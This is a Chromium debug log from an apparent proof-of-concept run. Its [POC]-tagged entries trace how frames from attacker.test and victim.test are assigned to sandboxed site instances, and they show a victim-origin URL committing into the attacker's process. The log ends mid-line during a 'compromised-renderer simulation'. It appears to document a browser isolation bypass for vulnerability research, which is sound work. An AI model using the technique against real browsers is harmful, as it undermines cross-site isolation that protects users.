[2638:2638:0414/023202.210309:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:16441] [POC][browser] commit url=http://attacker.test:8000/ origin=http://attacker.test:8000 is_error_doc=0 SiteInstance id=1 process_id=5 is_sandboxed=0 [2638:2638:0414/023202.523418:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:16441] [POC][browser] commit url=http://victim.test:8000/victim.html origin=http://victim.test:8000 is_error_doc=0 SiteInstance id=2 process_id=6 is_sandboxed=0 [2638:2638:0414/023202.564685:ERROR:content/browser/site_instance_impl.cc:1708] [POC][browser] GetCompatibleSandboxedSiteInstance: parent_origin=http://victim.test:8000 precursor_url=http://victim.test:8000/ -> sandboxed_site_info=site URL: http://victim.test:8000/, site-keyed, sandboxed -> SiteInstance id=3 process_id=-1 [2638:2638:0414/023202.607667:ERROR:content/browser/site_instance_impl.cc:1708] [POC][browser] GetCompatibleSandboxedSiteInstance: parent_origin=http://victim.test:8000 precursor_url=http://victim.test:8000/ -> sandboxed_site_info=site URL: http://victim.test:8000/, site-keyed, sandboxed -> SiteInstance id=3 process_id=7 [2638:2638:0414/023202.681489:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:16441] [POC][browser] commit url=about:srcdoc origin=null [internally: (3B4A71892C4C5500D52237D4758F666A) derived from http://victim.test:8000] is_error_doc=0 SiteInstance id=3 process_id=7 is_sandboxed=1 [2638:2638:0414/023202.688155:INFO:CONSOLE:1] "[POC] victim sandboxed srcdoc running", source: about:srcdoc (1) [2638:2638:0414/023204.004055:INFO:CONSOLE:31] "Framing 'http://victim.test:8000/' violates the following Content Security Policy directive: "frame-src 'none'". The request has been blocked. [2638:2638:0414/023204.014341:ERROR:content/browser/renderer_host/render_frame_host_impl.cc:16441] [POC][browser] commit url=http://victim.test:8000/anything?poc-inject-marker origin=null [internally: (09AE09A4F91CDF97AF1848CF46D3F34A) derived from http://victim.test:8000] is_error_doc=0 SiteInstance id=1 process_id=5 is_sandboxed=0 [2794:1:0414/023204.072544:ERROR:content/renderer/render_frame_impl.cc:4151] [POC][renderer] compromised-renderer simulation: injecting